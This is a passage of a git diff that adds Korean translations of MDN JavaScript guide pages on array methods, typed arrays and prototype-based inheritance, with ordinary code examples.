+console.log(a2); // logs ['10', '20', '30']
+</pre>
+
+<p> </p>
+
+<p>{{jsxref ( "Array.every", "every (callback [, thisObject])")}}는 콜백이 배열의 모든 항목에 대해 true를 반환하면 true를 반환합니다.</p>
+
+<pre class="brush: js">function isNumber(value){
+ return typeof value == 'number';
+}
+var a1 = [1, 2, 3];
+console.log(a1.every(isNumber)); // logs true
+var a2 = [1, '2', 3];
+console.log(a2.every(isNumber)); // logs false
+</pre>
+
+<p>{{jsxref("Array.some", "some(callback[, thisObject])")}}메서드는 배열의 모든 요소에 대해 콜백 함수를 실행하고 하나의 요소라도 콜백 함수의 결과가 true이면 some()메서드의 결과는 true가 됩니다.</p>
+
+<pre class="brush: js">function isNumber(value){
+ return typeof value == 'number';
+}
+var a1 = [1, 2, 3];
+console.log(a1.some(isNumber)); // logs true
+var a2 = [1, '2', 3];
+console.log(a2.some(isNumber)); // logs true
+var a3 = ['1', '2', '3'];
+console.log(a3.some(isNumber)); // logs false
+</pre>
+
+<p>{{jsxref("Array.reduce", "reduce(callback[, initialValue])")}}메서드는 배열내의 요소를 하나의 요소로 줄이기 위해 <code>firstValue, secondValue</code>를 인자로 받는 콜백 함수를 실행합니다.</p>
+
+<pre class="brush: js">var a = [10, 20, 30];
+var total = a.reduce(function(first, second) { return first + second; }, 0);
+console.log(total) // Prints 60
+</pre>
+
+<p>{{jsxref("Array.reduceRight", "reduceRight(callback[, initalvalue])")}}메서드는 reduce()와 유사하게 작동하지만 배열의 마지막 요소부터 시작합니다.</p>
+
+<p><code>reduce</code>와 <code>reduceRight</code> 메서드는 반복적인 배열 메서드 중 가장 명백합니다. 두 메서드는 재귀적으로 하나의 시퀀스를 하나의 값으로 줄이기 위해 두개의 값을 합치는 알고리즘을 위해 사용되어야 합니다. </p>
+
+<h3 id="다차원_배열">다차원 배열</h3>
+
+<p>배열은 중첩될 수 있습니다. 즉, 하나의 배열은 또 다른 배열을 요소로 포함할 수 있습니다. 자바스크립트 배열의 이런 특성을 사용하여, 다차원 배열을 생성할 수 있습니다.</p>
+
+<p>아래의 예제는 2차원 배열을 생성하는 예제입니다.</p>
+
+<pre><code>var a = new Array(4);
+for (i = 0; i &lt; 4; i++) {
+ a[i] = new Array(4);
+ for (j = 0; j &lt; 4; j++) {
+ a[i][j] = '[' + i + ', ' + j + ']';
+ }
+}</code></pre>
+
+<p>이 예제는 다음과 같은 열을 포함하는 배열을 생성합니다.</p>
+
+<pre>Row 0: [0,0] [0,1] [0,2] [0,3]
+Row 1: [1,0] [1,1] [1,2] [1,3]
+Row 2: [2,0] [2,1] [2,2] [2,3]
+Row 3: [3,0] [3,1] [3,2] [3,3]
+</pre>
+
+<h3 id="배열과_정규표현식">배열과 정규표현식</h3>
+
+<p>문자열내에 정규 표현식에 일치하는 결과가 배열일 경우, 해당 배열은 정규 표현식에 일치하는 문자열들의 정보를 제공해 주는 속성들과 요소들을 반환합니다. {{jsxref ( "Global_Objects / RegExp / exec", "RegExp.exec ()")}}, {{jsxref("Global_Objects/String/match","String.match()")}}, 와 {{jsxref("Global_Objects/String/split","String.split()")}}메서드는 결과를 배열로 반환합니다. 정규식과 함께 배열을 어떻게 사용하는지에 대한 정보는 <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions" title="en-US/docs/JavaScript/Guide/Regular Expressions">정규표현식</a>을 참조하시면 됩니다. </p>
+
+<h3 id="배열과_유사한_객체_사용">배열과 유사한 객체 사용</h3>
+
+<p>{{domxref ( "document.getElementsByTagName ()")}} 또는 {{jsxref ( "Functions / arguments", "arguments")}}에서 반환하는 {{domxref("NodeList")}}  객체는 함수 본문 내에서 사용할 수 있게 만들어졌으며 겉으로는 배열처럼 보이고 작동하지만 모든 메서드를 공유하지는 않습니다. arguments 객체는 {{jsxref ( "Global_Objects / Function / length", "length")}} 속성을 제공하지만 {{jsxref ( "Array.forEach", "forEach ()")}} 메소드는 구현하지 않습니다.</p>
+
+<p>배열 프로토 타입 메소드는 다른 배열과 유사한 객체에 대해 호출 될 수 있습니다.</p>
+
+<pre class="brush: js">function printArguments() {
+ Array.prototype.forEach.call(arguments, function(item) {
+  console.log(item);
+  });
+}
+</pre>
+
+<p>배열 프로토 타입 메서드는 배열과 비슷한 방식으로 문자에 순차적으로 액세스 할 수 있으므로 문자열에서도 사용할 수 있습니다.</p>
+
+<pre><code>Array.prototype.forEach.call('a string', function(chr) {
+ console.log(chr);
+});</code></pre>
+
+<h2 id="타입_배열">타입 배열</h2>
+
+<p>자바스크립트 타입 배열은 배열과 유사한 객체이며 원시 이진 데이터 접근에 대한 메카니즘을 제공합니다. 이미 알고 있듯이, {{jsxref("Array")}}객체는 동적으로 크기가 커지고 작아 질 수 있으며 어떤 자바스크립트 값이라도 가질 수 있습니다. 자바스크립트 엔진은 그런 배열을 빠르게 만들기 위해 최적화를 수행합니다. 그러나 웹 어플케이션이 보다 강력해지고, 음성, 영상 조작, <a href="/en-US/docs/WebSockets">웹소켓</a>을 사용하여 원시 데이터에 접근하는 등의 기능들이 추가 되면서 자바스크립트 코드가 타입배열을 가지고 빠르고 쉽게 원시 이진 데이터를 조작할 수 있는 것이 가능한 시점이 되었다는 것은 보다 명백해졌습니다.</p>
+
+<h3 id="버퍼와_뷰_타입_배열_구조">버퍼와 뷰: 타입 배열 구조</h3>
+
+<p>유연성과 효율성을 극대화 하기 위해, 자바스크립트 타입 배열을 <strong>버퍼</strong>와 <strong>뷰</strong>라는 구조로 구현되어 있습니다. 하나의 버퍼({{jsxref("ArrayBuffer")}}객체로 구현되어 있습니다.)는 하나의 데이터 덩어리를 의미하는 객체입니다. 버퍼는 구체적으로 언급할 형식이 없고, 버퍼가 담고 있는 내용에 접근할 메카니즘을 제공하지 않습니다. 버퍼에 담겨져 있는 메모리에 접근하기 위해선, 뷰를 사용해야 합니다. 하나의 뷰는 컨덱스트를 제공하는데, 컨텍스트는 데이터 형, 시작 오프셋 그리고 실제 타입배열로 변경되는 요소의 갯수를 제공합니다. </p>
+
+<p><img alt="Typed arrays in an ArrayBuffer" src="https://mdn.mozillademos.org/files/8629/typed_arrays.png" style="height: 278px; width: 666px;"></p>
+
+<h3 id="배열버퍼">배열버퍼</h3>
+
+<p>{{jsxref("ArrayBuffer")}}는 일반적이고, 고정길이의 이진 데이터 버퍼를 표현하기 위해 사용되는 데이터 타입입니다. <code>ArrayBuffer의 내용을 직접 수정할 수는 없는 대신 타입 배열 뷰 혹은 특정 형식 그리고 해당 버퍼의 내용을 읽고 쓸수 있게 해주는 </code>{{jsxref("DataView")}}<code>를 생성할 수 있습니다.</code></p>
+
+<h3 id="타입_배열_뷰">타입 배열 뷰</h3>
+
+<p>타입 배열 뷰들은 스스로를 나타낼 수 있는 이름과 <code>Int8</code>, <code>Uint32</code>, <code>Float64등의 일반적인 숫자 형들을 위한 뷰를 제공합니다.Uint8ClampedArray라는 특별한 타입 배열 뷰가 있습니다. 0부터 255까지의 값을 가질수 있습니다. 예를 들며, Uint8ClampedArray는 </code><a href="/en-US/docs/Web/API/ImageData">Canvas data processing</a>에 유용합니다. </p>
+
+<p>{{page("/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "TypedArray_objects")}}</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a>를 참조하시면 보다 많은 정보를 보실 수 있습니다. </p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Regular_Expressions", "Web/JavaScript/Guide/Keyed_Collections")}}</p>
diff --git a/files/ko/web/javascript/guide/inheritance_and_the_prototype_chain/index.html b/files/ko/web/javascript/guide/inheritance_and_the_prototype_chain/index.html
new file mode 100644
index 0000000000..e05bab3102
--- /dev/null
+++ b/files/ko/web/javascript/guide/inheritance_and_the_prototype_chain/index.html
@@ -0,0 +1,531 @@
+---
+title: 상속과 프로토타입
+slug: Web/JavaScript/Guide/Inheritance_and_the_prototype_chain
+tags:
+ - JavaScript
+ - 객체지향
+ - 상속
+ - 중급
+translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain
+---
+<p>{{jsSidebar("Advanced")}}</p>
+
+<p>Java 나 C++ 같이 클래스 기반의 언어를 사용하던 프로그래머는 자바스크립트가 동적인 언어라는 점과 클래스가 없다는 것에서 혼란스러워 한다. (ES2015부터 class 키워드를 지원하기 시작했으나, 문법적인 양념일 뿐이며 자바스크립트는 여전히 프로토타입 기반의 언어다.)</p>
+
+<p>상속 관점에서 자바스크립트의 유일한 생성자는 객체뿐이다. 각각의 객체는 [[Prototype]]이라는 은닉(private) 속성을 가지는데 자신의 <strong>프로토타입</strong>이 되는 다른 객체를 가리킨다. 그 객체의 프로토타입 또한 프로토타입을 가지고 있고 이것이 반복되다, 결국 <code>null</code>을 프로토타입으로 가지는 오브젝트에서 끝난다. null은 더 이상의 프로토타입이 없다고 정의되며, <strong>프로토타입 체인</strong>의 종점 역할을 한다.</p>
+
+<p>종종 이러한 점이 자바스크립트의 약점이라고 지적되지만, 프로토타입적 상속 모델은 사실 고전적인 방법보다 좀 더 강력한 방법이다. 그 말은, 예를 들자면, 프로토타입적 모델에서 고전적인 방식을 구현하는 건 꽤나 사소한 일이지만, 그 반대는 훨씬 더 어려운 일이기 때문이다.</p>
+
+<h2 id="프로토타입_체인을_이용한_상속">프로토타입 체인을 이용한 상속</h2>
+
+<h3 id="속성_상속">속성 상속</h3>
+
+<p>자바스크립트 객체는 속성을 저장하는 동적인 "가방"과 (<strong>자기만의 속성</strong>이라고 부른다) 프로토타입 객체에 대한 링크를 가진다. 객체의 어떤 속성에 접근하려할 때 그 객체 자체 속성 뿐만 아니라 객체의 프로토타입, 그 프로토타입의 프로토타입 등 프로토타입 체인의 종단에 이를 때까지 그 속성을 탐색한다.</p>
+
+<div class="note">ECMAScript 표준은 someObject.[[Prototype]]을 객체 someObject의 프로토타입을 지시하도록 명시하였다. ECMAScript 2015부터 [[Prototype]]에 조상 {{jsxref("Object.getPrototypeOf()")}}과 {{jsxref("Object.setPrototypeOf()")}}을 이용하여 접근하기 때문이다. 이것은 자바스크립트의 표준은 아니나 많은 브라우저에 구현되어 사실상의 표준이 된 속성 __proto__과 동일하다.</div>
+
+<p>아래 코드에는 어떤 속성에 접근 하려할 때 일어나는 상황이다.</p>
+
+<pre class="brush: js">// o라는 객체가 있고, 속성 'a' 와 'b'를 갖고 있다고 하자.
+let f = function () {
+ this.a = 1;
+  this.b = 2;
+}
+let o = new f(); // {a: 1, b: 2}
+
+// f 함수의 prototype 속성 값들을 추가 하자.
+f.prototype.b = 3;
+f.prototype.c = 4;
+
+// f.prototype = {b: 3, c: 4}; 라고 하지 마라, 해당 코드는 prototype chain 을 망가뜨린다.
+// o.[[Prototype]]은 속성 'b'와 'c'를 가지고 있다.
+// o.[[Prototype]].[[Prototype]] 은 Object.prototype 이다.
+// 마지막으로 o.[[Prototype]].[[Prototype]].[[Prototype]]은 null이다.
+// null은 프로토타입의 종단을 말하며 정의에 의해서 추가 [[Prototype]]은 없다.
+// {a: 1, b: 2} ---&gt; {b: 3, c: 4} ---&gt; Object.prototype ---&gt; null
+
+console.log(o.a); // 1
+// o는 'a'라는 속성을 가지는가? 그렇다. 속성의 값은 1이다.
+
+console.log(o.b); // 2
+// o는 'b'라는 속성을 가지는가? 그렇다. 속성의 값은 2이다.
+// 프로토타입 역시 'b'라는 속성을 가지지만 이 값은 쓰이지 않는다. 이것을 "속성의 가려짐(property shadowing)" 이라고 부른다.
+
+console.log(o.c); // 4
+// o는 'c'라는 속성을 가지는가? 아니다. 프로토타입을 확인해보자.
+// o.[[Prototype]]은 'c'라는 속성을 가지는가? 가지고 값은 4이다.
+
+console.log(o.d); // undefined
+// o는 'd'라는 속성을 가지는가? 아니다. 프로토타입을 확인해보자.
+// o.[[Prototype]]은 'd'라는 속성을 가지는가? 아니다. 다시 프로토타입을 확인해보자.
+// o.[[Prototype]].[[Prototype]]은 null이다. 찾는 것을 그만두자.
+// 속성이 발견되지 않았기 때문에 undefined를 반환한다.
+</pre>
+
+<p>객체의 속성에 값을 지정하면 "자기만의 속성"이 생긴다.  단, <a href="/en/JavaScript/Guide/Obsolete_Pages/Creating_New_Objects/Defining_Getters_and_Setters" title="Defining Getters and Setters">getter or a setter</a>가 적용되는 속성이 상속되는 경우 예외적인 규칙이 적용된다.</p>
+
+<h3 id="메소드_상속">메소드 상속</h3>
+
+<p>자바스크립트에 "메소드"라는건 없다. 하지만 자바스크립트는 객체의 속성으로 함수를 지정할 수 있고 속성 값을 사용하듯 쓸 수 있다. 속성 값으로 지정한 함수의 상속 역시 위에서 본 속성의 상속과 동일하다. (단 위에서 언급한 "속성의 가려짐" 대신 "<em>메소드 오버라이딩, method overriding</em>" 라는 용어를 사용한다)</p>
+
+<p>상속된 함수가 실행 될 때,  <a href="/en/JavaScript/Reference/Operators/this" title="this"><code>this</code></a> 라는 변수는 상속된 오브젝트를 가르킨다. 그 함수가 프로토타입의 속성으로 지정되었다고 해도 말이다.</p>
+
+<pre class="brush: js">var o = {
+ a: 2,
+ m: function(b){
+ return this.a + 1;
+ }
+};
+
+console.log(o.m()); // 3
+// o.m을 호출하면 'this' 는 o를 가리킨다.
+
+var p = Object.create(o);
+// p 는 프로토타입을 o로 가지는 오브젝트이다.
+
+p.a = 12; // p 에 'a'라는 새로운 속성을 만들었다.
+console.log(p.m()); // 13
+// p.m이 호출 될 때 'this' 는 'p'를 가리킨다.
+// 따라서 o의 함수 m을 상속 받으며,
+// 'this.a'는 p.a를 나타내며 p의 개인 속성 'a'가 된다.
+</pre>
+
+<h2 id="Javascript_에서_프로토타입을_사용하는_방법">Javascript 에서 프로토타입을 사용하는 방법</h2>
+
+<p>뒤에서 일어나는 일을 좀 더 자세히 파헤쳐보자.</p>
+
+<p>위에서 언급했듯이, 자바스크립트에서 함수는 속성을 가질 수 있다. 모든 함수에는 <code>prototype</code>이라는 특수한 속성이 있다. 아래의 예제 코드는 독립적이라는 것에 유의하자. (아래의 코드 이외에는 웹페이지에 다른 자바스크립트가 없다고 가정하는 것이 좋다.)</p>
+
+<p>최적의 실습을 위해서 콘솔을 열고 "Console" 탭으로 이동하여 아래의 JavaScript 코드를 복사하여 붙여넣은 다음 , 엔터키를 눌러 실행할 것을 적극 권한다. (콘솔은 대부분 웹 브라우저의 Developer Tools에 포함되어있다. 자세한 내용은 <a href="https://developer.mozilla.org/ko-KR/docs/Tools">Firefox Developer Tools</a>, <a href="https://developers.google.com/web/tools/chrome-devtools/">Chrome DevTools</a>,<a href="https://docs.microsoft.com/en-us/microsoft-edge/devtools-guide"> Edge DevTools</a> 에서 확인할 수 있다. )</p>
+
+<div></div>
+
+<pre><code>function doSomething(){}
+console.log( doSomething.prototype );
+// It does not matter how you declare the function, a
+// function in JavaScript will always have a default
+// prototype property.
+var doSomething = function(){};
+console.log( doSomething.prototype );</code></pre>
+
+<p>위 내용을 토대로, 콘솔을 보면  <code>doSomething()</code> 은 기본 <code>prototype</code> 속성을 가진다. 코드를 실행한 뒤에 콘솔에서는 다음과 유사한 형태의 객체가 표시되어야한다.</p>
+
+<pre><code>{
+ constructor: ƒ doSomething(),
+ __proto__: {
+ constructor: ƒ Object(),
+ hasOwnProperty: ƒ hasOwnProperty(),
+ isPrototypeOf: ƒ isPrototypeOf(),
+ propertyIsEnumerable: ƒ propertyIsEnumerable(),
+ toLocaleString: ƒ toLocaleString(),
+ toString: ƒ toString(),
+ valueOf: ƒ valueOf()
+ }
+}</code></pre>
+
+<p>우리는 아래에 보이는 것과 같이 <code>doSomething()</code> 프로토타입에 속성을 추가할 수 있다.</p>
+
+<pre><code>function doSomething(){}
+doSomething.prototype.foo = "bar";
+console.log( doSomething.prototype );</code></pre>
+
+<p>결과:</p>
+
+<pre><code>{
+ foo: "bar",
+ constructor: ƒ doSomething(),
+ __proto__: {
+ constructor: ƒ Object(),
+ hasOwnProperty: ƒ hasOwnProperty(),
+ isPrototypeOf: ƒ isPrototypeOf(),
+ propertyIsEnumerable: ƒ propertyIsEnumerable(),
+ toLocaleString: ƒ toLocaleString(),
+ toString: ƒ toString(),
+ valueOf: ƒ valueOf()
+ }
+}</code>
+</pre>
+
+<p>이제 <code>new</code> 연산자를 사용해서 프로토타입 기반의 <code>doSomething()</code> 인스턴스를 생성할 수 있다. new 연산자를 사용하려면 함수 호출 형식에 <code>new</code> 접두사를 붙이기만하면 된다. <code>new</code> 연산자로 함수를 호출하면 해당 함수의 인스턴스 객체를 반환받는다. 그러면 속성들을 이 객체에 추가할 수 있다.</p>
+
+<p>다음의 코드를 실행해보자.</p>
+
+<pre><code>function doSomething(){}
+doSomething.prototype.foo = "bar"; // add a property onto the prototype
+var doSomeInstancing = new doSomething();
+doSomeInstancing.prop = "some value"; // add a property onto the object
+console.log( doSomeInstancing );</code></pre>
+
+<p>실행하고나면 결과는 다음과 비슷할 것이다.</p>
+
+<pre><code>{
+ prop: "some value",
+ __proto__: {
+ foo: "bar",
+ constructor: ƒ doSomething(),
+ __proto__: {
+ constructor: ƒ Object(),
+ hasOwnProperty: ƒ hasOwnProperty(),
+ isPrototypeOf: ƒ isPrototypeOf(),
+ propertyIsEnumerable: ƒ propertyIsEnumerable(),
+ toLocaleString: ƒ toLocaleString(),
+ toString: ƒ toString(),
+ valueOf: ƒ valueOf()
+ }
+ }
+}</code>
+</pre>
+
+<p>위에서 본 것과 같이, doSomeInstancing 객체의 __proto__ 는 doSomething.prototype 이다.<br>
+ 그래서 도대체 __proto__는 무엇을 하는것인지 알아보자.<br>
+ 우리가 doSomeInstancing의 속성에 접근할때 브라우저는 우선 doSomeInstancing이 그 속성을 갖고있는지 확인한다.<br>
+ 만약 doSomeInstancing이 속성을 갖고있지 않다면, 브라우저는 doSomeInstancing의 __proto__(doSomething.prototype)가 그 속성을 갖고있는지 확인한다.<br>
+ 만약 doSomeInstancing의 __proto__가 브라우저가 찾던 속성을 갖고 있다면, doSomething의 __proto__가 갖고있는 그 속성을 사용한다.</p>
+
+<p>그렇지 않고, doSomeInstancing의 __proto__가 그 속성을 갖고있지 않을때에는<br>
+ doSomeInstancing의 __proto__의 __proto__가 그 속성을 갖는지 확인한다.<br>
+ 기본적으로, 어떠한 함수던지 그 함수의 prototype 속성의 __proto__는 window.Object.prototype이다.<br>
+ 그러므로 브라우저는 doSomeInstancing의 __proto__의 __proto__(doSomething.prototype의 __proto__(다시말해, Object.prototype))  에서 그 속성을 찾아본다.<br>
+ 만약 그 속성을 doSomeInstancing의 __proto__의 __proto__에서 찾을 수 없다면 그다음엔 doSomeInstancing의 __proto__의 __proto__의 __proto__에서 찾을것이다.<br>
+ 하지만 여기서 문제가 발생한다.<br>
+ doSomeInstancing의 __proto__의 __proto__의 __proto__는 존재할 수 없다(window.Object.prototype의 __proto__는 null이기 때문).<br>
+ 그제서야, 오직 모든 프로토타입 체인이 검사 되고 브라우저가 더이상  검사할 __proto__가 없을때에서야 브라우저는 우리가 찾던 값이 undefined라고 결론짓는다.</p>
+
+<p>콘솔에 코드를 조금 더 추가해보자.</p>
+
+<pre><code>function doSomething(){}
+doSomething.prototype.foo = "bar";
+var doSomeInstancing = new doSomething();
+doSomeInstancing.prop = "some value";
+console.log("doSomeInstancing.prop: " + doSomeInstancing.prop);
+console.log("doSomeInstancing.foo: " + doSomeInstancing.foo);
+console.log("doSomething.prop: " + doSomething.prop);
+console.log("doSomething.foo: " + doSomething.foo);
+console.log("doSomething.prototype.prop: " + doSomething.prototype.prop);
+console.log("doSomething.prototype.foo: " + doSomething.prototype.foo);</code>
+</pre>
+
+<p>이 코드의 결과는 아래와 같다.</p>
+
+<pre><code>doSomeInstancing.prop: some value
+doSomeInstancing.foo: bar
+doSomething.prop: undefined
+doSomething.foo: undefined
+doSomething.prototype.prop: undefined
+doSomething.prototype.foo: bar</code>
+</pre>
+
+<h2 id="객체를_생성하는_여러_방법과_프로토타입_체인_결과">객체를 생성하는 여러 방법과 프로토타입 체인 결과</h2>
+
+<h3 id="문법_생성자로_객체_생성">문법 생성자로 객체 생성</h3>
+
+<pre class="brush: js">var o = {a: 1};
+
+// o 객체는 프로토타입으로 Object.prototype 을 가진다.
+// 이로 인해 o.hasOwnProperty('a') 같은 코드를 사용할 수 있다.
+// hasOwnProperty 라는 속성은 Object.prototype 의 속성이다.
+// Object.prototype 의 프로토타입은 null 이다.
+// o ---&gt; Object.prototype ---&gt; null
+
+var a = ["yo", "whadup", "?"];
+
+// Array.prototype을 상속받은 배열도 마찬가지다.
+// (이번에는 indexOf, forEach 등의 메소드를 가진다)
+// 프로토타입 체인은 다음과 같다.
+// a ---&gt; Array.prototype ---&gt; Object.prototype ---&gt; null
+
+function f(){
+ return 2;
+}
+
+// 함수는 Function.prototype 을 상속받는다.
+// (이 프로토타입은 call, bind 같은 메소드를 가진다)
+// f ---&gt; Function.prototype ---&gt; Object.prototype ---&gt; null
+</pre>
+
+<h3 id="생성자를_이용">생성자를 이용</h3>
+
+<p>자바스크립트에서 생성자는 단지 <a href="/en/JavaScript/Reference/Operators/new" title="new">new 연산자</a>를  사용해 함수를 호출하면 된다.</p>
+
+<pre class="brush: js">function Graph() {
+ this.vertexes = [];
+ this.edges = [];
+}
+
+Graph.prototype = {
+ addVertex: function(v){
+ this.vertexes.push(v);
+ }
+};
+
+var g = new Graph();
+// g 'vertexes' 와 'edges'를 속성으로 가지는 객체이다.
+// 생성시 g.[[Prototype]]은 Graph.prototype의 값과 같은 값을 가진다.
+</pre>
+
+<h3 id="Object.create_이용">Object.create 이용</h3>
+
+<p>ECMAScript 5는 새로운 방법을 도입했다. <a href="/en/JavaScript/Reference/Global_Objects/Object/create" title="create">Object.create</a>라는 메소드를 호출하여 새로운 객체를 만들 수 있다. 생성된 객체의 프로토타입은 이 메소드의 첫 번째 인수로 지정된다.</p>
+
+<pre class="brush: js">var a = {a: 1};
+// a ---&gt; Object.prototype ---&gt; null
+
+var b = Object.create(a);
+// b ---&gt; a ---&gt; Object.prototype ---&gt; null
+console.log(b.a); // 1 (상속됨)
+
+var c = Object.create(b);
+// c ---&gt; b ---&gt; a ---&gt; Object.prototype ---&gt; null
+
+var d = Object.create(null);
+// d ---&gt; null
+console.log(d.hasOwnProperty); // undefined이다. 왜냐하면 d는 Object.prototype을 상속받지 않기 때문이다.
+</pre>
+
+<div>
+<h3 id="class_키워드_이용"><code>class</code> 키워드 이용</h3>
+
+<p>ECMAScript2015에는 몇 가지 키워드가 도입되어 <a href="/en-US/docs/Web/JavaScript/Reference/Classes">class</a>를 구현하였다. 이런 생성 방식은 클래서 기반 언어의 개발자들에게 친숙하게 다가오나 동작 방식이 같지는 않다. 자바스크립트는 여전히 프로토타입 기반으로 남아있다. 새로 도입된 키워드는 {{jsxref("Statements/class", "class")}}, {{jsxref("Classes/constructor", "constructor")}}, {{jsxref("Classes/static", "static")}}, {{jsxref("Classes/extends", "extends")}}, 그리고 {{jsxref("Operators/super", "super")}}가 있다.</p>
+
+<pre class="brush: js">'use strict';
+
+class Polygon {
+ constructor(height, width) {
+ this.height = height;
+ this.width = width;
+ }
+}
+
+class Square extends Polygon {
+ constructor(sideLength) {
+ super(sideLength, sideLength);
+ }
+ get area() {
+ return this.height * this.width;
+ }
+ set sideLength(newLength) {
+ this.height = newLength;
+ this.width = newLength;
+ }
+}
+
+var square = new Square(2);
+</pre>
+
+<h3 id="성능">성능</h3>
+
+<p>프로토타입 체인에 걸친 속성 검색으로 성능에 나쁜 영향을 줄 수 있으며, 때때로 치명적일 수 있다. 또한 존재하지도 않는 속성에 접근하려는 시도는 항상 모든 프로토타입 체인인 전체를 탐색해서 확인하게 만든다.</p>
+
+<p>객체의 속성에 걸쳐 루프를 수행 하는 경우 프로토타입 체인 전체의 <strong>모든</strong> 열거자 속성에 대하여 적용된다. 객체 개인 속성인지 프로토타입 체인상 어딘가에 있는지 확인하기 위해서는 Object.prototype에서 모든 오브젝트로 상속된 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a> 메소드를 이용할 필요가 있다. 다음 코드를 통하여 구체적인 예를 확인하여 보자.</p>
+
+<pre class="brush: js">console.log(g.hasOwnProperty('vertices'));
+// true
+
+console.log(g.hasOwnProperty('nope'));
+// false
+
+console.log(g.hasOwnProperty('addVertex'));
+// false
+
+console.log(g.__proto__.hasOwnProperty('addVertex'));
+// true
+</pre>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a> 메소드만이 속성을 확인하고 프로토타입 체인 전체를 훑지 않게 할 수 있다.</p>
+
+<p>참고: <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined"><code>undefined</code></a>인지 여부만 확인하는 것으로는 충분하지 않다. 여전히 속성이 존재할 수도 있는데 단지 그 값에 <code>undefined</code>가 할당되어 있을 수도 있기 때문이다.</p>
+
+<h3 id="좋지_않은_사례_기본_프로타입의_확장_변형">좋지 않은 사례: 기본 프로타입의 확장 변형</h3>
+
+<p>Object.prototype 혹은 빌트인 프로토타입의 확장은 종종 이용되지만 오용이다.</p>
+
+<p>이 기법은 Monkey patching으로 불리며 캡슐화를 망가뜨린다. Prototype.js와 같은 유명한 프레임워크에서도 사용되지만, 빌트인 타입에 비표준 기능을 추가하는 것은 좋은 생각이 아니다.</p>
+
+<p>유일하게 좋은 사용 예라면, 새로운 자바스크립트 엔진에 Array.forEach등의 새로운 기능을 추가하면서 빌트인 프로토타입을 확장하는 것 정도다. </p>
+
+<h2 id="예">예</h2>
+
+<p><code>B는 A를 상속한다</code>:</p>
+
+<pre class="brush: js">function A(a) {
+ this.varA = a;
+}
+
+// A의 정의에서 this.varA는 항상 A.prototype.varA가 가려버리는데
+// prototype에 varA를 다시 넣는 이유는 무엇인가?
+A.prototype = {
+ varA: null, // 아무것도 안하면서 varA를 쓰는 이유가 있을까?
+      // 아마도 숨겨진 클래스의 할당 구조를 최적화 하려는 것인가?
+ // https://developers.google.com/speed/articles/optimizing-javascript#Initializing-instance-variables
+ // 모든 객체의 varA가 동일하게 초기화 되어야 상기 링크 내용이 유효할 수 있다.
+ doSomething: function() {
+ // ...
+ }
+};
+
+function B(a, b) {
+ A.call(this, a);
+ this.varB = b;
+}
+B.prototype = Object.create(A.prototype, {
+ varB: {
+ value: null,
+ enumerable: true,
+ configurable: true,
+ writable: true
+ },
+ doSomething: {
+ value: function() { // override
+ A.prototype.doSomething.apply(this, arguments); // call super
+ // ...
+ },
+ enumerable: true,
+ configurable: true,
+ writable: true
+ }
+});
+B.prototype.constructor = B;
+
+var b = new B();
+b.doSomething();
+</pre>
+
+<p>중요한 점은:</p>
+
+<ul>
+ <li><code>.prototype</code>에 타입이 정의되어 있다.</li>
+ <li><code>Object.create()</code>을 이용하여 상속한다.</li>
+</ul>
+
+<h2 id="prototype_그리고_Object.getPrototypeOf"><code>prototype</code> <code>그리고 Object.getPrototypeOf</code></h2>
+
+<p>Java나 C++에 익숙한 개발자는 클래스라는 것도 없고, 모든 것이 동적이고 실행 시 결정되는 자바스크립트의 특징 때문에 어려움을 겪을 수도 있다. 모든 것은 객체이고, 심지의 "class"를 흉내내는 방식도 단지 함수 오브젝트를 이용하는 것 뿐이다.</p>
+
+<p>이미 알아챘겠지만 우리의 함수 A도 특별한 속성 prototype를 가지고 있다. 이 특별한 속성은 자바스크립트의 new 연산자와 함께 쓰인다. 프로토타입 객체는 새로 만들어진 인스턴스의 내부 [[Prototype]] 속성에 복사되어 참조된다. 가령, var a1 = new A()를 수행할 때, this를 포함하고 있는 함수을 수행하기 전, 메모리에 새로 생성된 객체를 생성한 직후 자바스크립트는 a1.[[Prototype]] = A.prototype를 수행한다. 그 인스턴스의 속성에 접근하려 할 때 자바스크립트는 그 객체의 개인 속성인지 우선 확인하고 그렇지 않은 경우에 [[Prototype]]에서 찾는다. 이것은 prototype에 정의한 모든 것은 모든 인스턴스가 효과적으로 공유한다는 뜻이며, 심지어 프로토타입의 일부를 나중에 변경하다고 해도 이미 생성되어 있는 인스턴스는 필요한 경우 그 변경 사항에 접근할 수 있다.</p>
+
+<p>위의 예에서, 만일 <code>var a1 = new A(); var a2 = new A();</code> 그 후 <code>a1.doSomething</code>이 <code>Object.getPrototypeOf(a1).doSomething</code>를 가리키게 되는 것은<code>A.prototype.doSomething</code>으로 정의한 것과 같게 된다. 즉, <code>Object.getPrototypeOf(a1).doSomething == Object.getPrototypeOf(a2).doSomething == A.prototype.doSomething</code>.</p>
+
+<p>요약 하자면, prototype은 타입 정의를 위한 것이고, <code>Object.getPrototypeOf()</code>는 모든 인스턴스가 공유한다.</p>
+
+<p><code>[[Prototype]]</code>은 재귀적으로 탐색된다. 즉, <code>a1.doSomething</code>, <code>Object.getPrototypeOf(a1).doSomething</code>,<code>Object.getPrototypeOf(Object.getPrototypeOf(a1)).doSomething</code> 등등, 이미 발견했거나 <code>Object.getPrototypeOf</code>가 <code>null</code>을 반환할 때까지 반복된다.</p>
+
+<p>따라서 다음 호출에 대하여</p>
+
+<pre class="brush: js">var o = new Foo();</pre>
+
+<p>자바스크립트는 실제로 다음 작업을 수행한다.</p>
+
+<pre class="brush: js">var o = new Object();
+o.[[Prototype]] = Foo.prototype;
+Foo.call(o);</pre>
+
+<p>(혹은 그런 비슷한 작업, 내부 구현은 다를 수 있다) 그리고 나중에 다음을 수행하면</p>
+
+<pre class="brush: js">o.someProp;</pre>
+
+<p>자바스크립트는 o가 속성 someProp을 가졌는지 확인하고, 아니면 <code>Object.getPrototypeOf(o).someProp</code>, 또 아니면 <code>Object.getPrototypeOf(Object.getPrototypeOf(o)).someProp</code> 등으로 계속 된다.</p>
+
+<h2 id="프로토타입_상속의_종류">프로토타입 상속의 종류</h2>
+
